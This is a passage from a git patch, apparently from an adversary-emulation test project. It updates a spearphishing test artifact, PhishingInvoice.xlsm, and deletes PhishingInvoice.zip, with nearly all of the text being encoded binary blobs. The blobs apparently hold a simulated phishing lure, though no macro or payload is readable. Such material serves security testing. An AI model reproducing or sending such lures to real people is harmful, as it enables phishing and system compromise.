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 literal 0 HcmV?d00001 From 88ed8b900a465ade9cd2f440d51c65867b3ad130 Mon Sep 17 00:00:00 2001 From: Swelc Date: Sun, 1 Jul 2018 00:03:20 -0500 Subject: [PATCH 69/91] Made additional adjustments on Spearphishing attachment. --- atomics/T1193/PhishingInvoice.xlsm | Bin 18496 -> 18496 bytes atomics/T1193/PhishingInvoice.zip | Bin 15750 -> 0 bytes atomics/T1193/T1193.yaml | 4 +++- 3 files changed, 3 insertions(+), 1 deletion(-) delete mode 100644 atomics/T1193/PhishingInvoice.zip diff --git a/atomics/T1193/PhishingInvoice.xlsm b/atomics/T1193/PhishingInvoice.xlsm index 46810f753757672aa7ca9d0d1555f93664656c41..1a809663181a227296ae668f3eee6a1c0fc3706a 100644 GIT binary patch delta 898 zcmV-|1AY9!kO9Du0kBm%De)?7H75Z801*NJ01*Hx0c3AuP;zf@b1!3Wa%C=fZEPT- zCIKj*00FTTR0V8^;Ok1PZ%{pD8#0PF9?|K6@I)F#3=Juu% zmWkfMv+FImpui{5WIPkLM!OI!!`O=*XzsH}m>6z*r+I&fPuF70#V2n8=Y*74L*SAJ zj*r6BPDXTAN--(zm+MA>6c{?tV1maqqxi}OaN7S_FeWont8lP!r}MaTw-l#vqW4}+ z;4lo?P>f^5`6+&XdVCpIO_e$Rl>pRKQjG1GaKHn|BnsH6-6eS|?jJU5)Z~QTrKCvn zd_xwjpe!OUKPr5o&h=NJj>p-m|BTC&L@6DOB`X#)<3-R^_}3AeAG5$bZviMZ+R{1G z0RR9@1ONaK03QKlZ(~q$Z*X%jVQ_FRcx`MTq8kAypa21}K^FmkoK(S%(=ZUdBk>Qx zmpyHql&YZ0@v2I9DH1AG+g*+;lS~?G6Wg-gu;uG)cC@_|ZoK;dlf(~HN4SoHJth7|1Ee8|07Q!T`v{p?q zHdzTZGodRBS1F`_u9TiWTG9P}10G1DTaNF#NkS zV~m2Y%s@+$poVGAgmq*s%pbbAQpRffMd~M00$4+^1NdZr7xuCJn2%}P0bKAR(Dz!h z8uDPx#18(2Vse?H)#zt++(Q?(+*V*d7b~Xi1ykPjP3fe0OT5avkIUIIy$#aEZ2jT3 z2I6Ss)UQ~BAoZ#xsN^@Z! zy(t&JSj%rvUG=PWJR~1@{foP)?DV)xI7Oehcry2DE9cC@ac74~vMHH{+^zYseol~u zTUTARP13U6mi&nMy+CG4J^06g#*;958@ZpSmm~Q64A36{lYtNvvrj>p1qtygY&9nV Y000q_@kYrBHQLfS(*XbgOq0V$eZ!=v)c^nh delta 953 zcmV;q14jJ7kO9Du0kBm%DNYqA2T1_{0BZsO01*HP0c3AuP;zf@b1!3Wa%C=fZEPT- z1OX_Z00E&v0e^gwQA@)x6ouaf|3k@po3tHsgth~fJvk6InfMlxyRO)zA&GYT_onSu zs}moSbMBXOF3FZhSqGnBY}Ke7#SuXPDBg%ll{tFZuEGThtYb>Bx>1m$6Iiq?Zf`QK zDQ^rsn?{3i71+R&l%-tf=-`~D7+Zb-$!z2u%8UEPNPp)1(Ue#-{?1Ck2_bVV!7;%c z!yPcxBN3gEf{#f3Vd@?rIEES|C}(jT#rWInz)1V&K(9=kvT`TwJDuZB*@6$^=swzN zG`4LUwP_#2=a2F0`f1Zw4J*~{iUTS#!6`SuTw{vOfhh=fPjhSTpO^e&PEH z#Qo{F`9#{_$$gOl4~#5ql86XFF>WcccP6koHzJZ}LgE9s^v>Hz=%b_4(b5C8}PWN%|oa&K^R zFJW+SE_iKhAff~TD4+lVp+NzEoK#JZ(=ZUdBk>R1l&YZ0$*M}b6bVYzc9-MI zIFrU&$Bt~bwETMPcsEU!fPmY0=H<l&iGK#=-=wc!p|un>NKHX`hJvfaFSV|xVW>z66;^>Mb5kjQgsiYON4XD0 zQBVSNK@Jsg9gd=C62eIX&mq6ATSDJ4PLKM3NpnH0K6Sr4*G6!PW_8Ud!P-ojex^hU zB?|2=P6QYVyG3NwZGjvl)#o%qVfTo(1T)ACaav%e0EL$XS^~DFtud7(Xb24I3e z0v*>1SCD%f%=hpwEhfV)tVTDh>D_l>M>PZWrC4LB2TXa_HKmc}EO9DtKdxr0Y~f|g z+2+HdYej2HCfK3kO&2%+lUGB44eZV3$3ZZUqu?*mBa0sW7G2e6n4cf4n}h1E`V(Be zSxd_GgEM9Di;ei+R4-b`{pLNdU$~ozMvu9KHu^;Qqq?hiVvaRD?`%Jbwk4L3n>BBD zx=o;^Sy#y{Nmklz$)7R57VHbVcfXM|o&?d`$UL4-4uzK=M*0(zfe;k4PeGXl2~HI# b2T1_{0Be)+M#%{)>82>^0RRAYlfy@Sz_YyR diff --git a/atomics/T1193/PhishingInvoice.zip b/atomics/T1193/PhishingInvoice.zip deleted file mode 100644 index a9b2998f03cb9caec19cbcd984ce5ce851acca62..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15750 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 